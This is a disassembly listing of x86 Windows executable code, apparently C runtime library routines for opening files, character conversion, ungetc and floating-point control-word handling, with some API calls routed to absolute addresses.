		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DBFF8, eax
		jz	short loc_424286


loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h


loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC


loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBDDC, 16h
		mov	dword_4DBDE0, ebx
		jmp	loc_4244D1
; ---------------------------------------------------------------------------


loc_4242AC:				; CODE XREF: sub_42423B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h


loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx


loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1


loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBDE4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi


loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi


loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------


loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h


loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------


loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2750000h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jnz	short loc_424419
		push	esi
		call	near ptr 2680000h
		nop


loc_424405:				; CODE XREF: sub_42423B+1B6j
		nop
		call	near ptr 26A0CA7h
		push	eax
		call	sub_420C7F
		pop	ecx


loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------


loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------


loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8


loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBDE0, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------


loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA


loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6


loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx


loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx


loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBFB4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	ebx
		nop
		call	near ptr 260075Fh
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax


loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DBFB4, eax


loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBE84


loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 260075Fh
		nop
		jmp	loc_42462B
; ---------------------------------------------------------------------------


loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2720000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2720000h
		nop
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 2600000h
		nop
		jmp	short loc_42462B
; ---------------------------------------------------------------------------


loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax


loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBE84, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D084
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBE94
		call	near ptr 2861045h
		nop
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9


loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx


loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax


loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBE84, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax


loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CE78
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D084
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2720000h
		test	eax, eax
		mov	eax, dword_43D084
		jnz	short loc_4246F0


loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0


loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B


loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx


loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax


loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax


loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh


loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax


loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8


loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4


loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2


loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1


loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h


loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1


loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------


loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h


loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax


loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4


loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8


loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h


loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h


loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2


loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_424968:				; CODE XREF: sub_42490D+50j
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4


loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------


loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx


loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]


loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8


loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]


loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18


loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]


loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


